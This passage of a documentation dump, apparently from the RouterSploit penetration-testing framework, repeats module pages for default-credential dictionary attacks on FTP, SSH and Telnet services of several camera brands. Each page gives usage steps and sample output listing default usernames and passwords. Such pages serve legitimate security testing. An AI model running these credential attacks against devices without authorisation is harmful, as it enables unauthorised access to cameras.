 192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/grandstream/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Grandstream Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/grandstream/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/grandstream/ftp_default_creds\nrsf (Grandstream Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Grandstream Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/grandstream/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Grandstream Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/grandstream/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/grandstream/ssh_default_creds\nrsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Grandstream Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/grandstream/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Grandstream Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/grandstream/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/grandstream/telnet_default_creds\nrsf (Grandstream Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Grandstream Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/hikvision/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Hikvision Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/hikvision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/hikvision/ftp_default_creds\nrsf (Hikvision Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Hikvision Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/hikvision/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Hikvision Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/hikvision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/hikvision/ssh_default_creds\nrsf (Hikvision Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Hikvision Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/hikvision/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Hikvision Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/hikvision/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/hikvision/telnet_default_creds\nrsf (Hikvision Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Hikvision Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/honeywell/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Honeywell Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/honeywell/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/honeywell/ftp_default_creds\nrsf (Honeywell Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Honeywell Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/honeywell/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Honeywell Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/honeywell/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/honeywell/ssh_default_creds\nrsf (Honeywell Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Honeywell Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/honeywell/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Honeywell Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/honeywell/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/honeywell/telnet_default_creds\nrsf (Honeywell Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Honeywell Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/iqinvision/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IQInvision Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/iqinvision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/iqinvision/ftp_default_creds\nrsf (IQInvision Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IQInvision Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/iqinvision/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IQInvision Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/iqinvision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/iqinvision/ssh_default_creds\nrsf (IQInvision Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IQInvision Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/iqinvision/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IQInvision Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/iqinvision/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/iqinvision/telnet_default_creds\nrsf (IQInvision Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IQInvision Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/jvc/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against JVC Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/jvc/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/jvc/ftp_default_creds\nrsf (JVC Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (JVC Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/jvc/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against JVC Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/jvc/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/jvc/ssh_default_creds\nrsf (JVC Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (JVC Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/jvc/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against JVC Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/jvc/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/jvc/telnet_default_creds\nrsf (JVC Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (JVC Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/mobotix/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mobotix Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/mobotix/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/mobotix/ftp_default_creds\nrsf (Mobotix Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mobotix Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/mobotix/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mobotix Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/mobotix/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/mobotix/ssh_default_creds\nrsf (Mobotix Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mobotix Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/mobotix/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mobotix Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/mobotix/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/mobotix/telnet_default_creds\nrsf (Mobotix Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mobotix Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/samsung/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Samsung Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/samsung/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/samsung/ftp_default_creds\nrsf (Samsung Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Samsung Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/samsung/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Samsung Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/samsung/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/samsung/ssh_default_creds\nrsf (Samsung Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Samsung Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/samsung/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Samsung Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/samsung/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/samsung/telnet_default_creds\nrsf (Samsung Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Samsung Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/sentry360/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Sentry360 Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/sentry360/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/sentry360/ftp_default_creds\nrsf (Sentry360 Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Sentry360 Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/sentry360/ssh_default_creds.md",
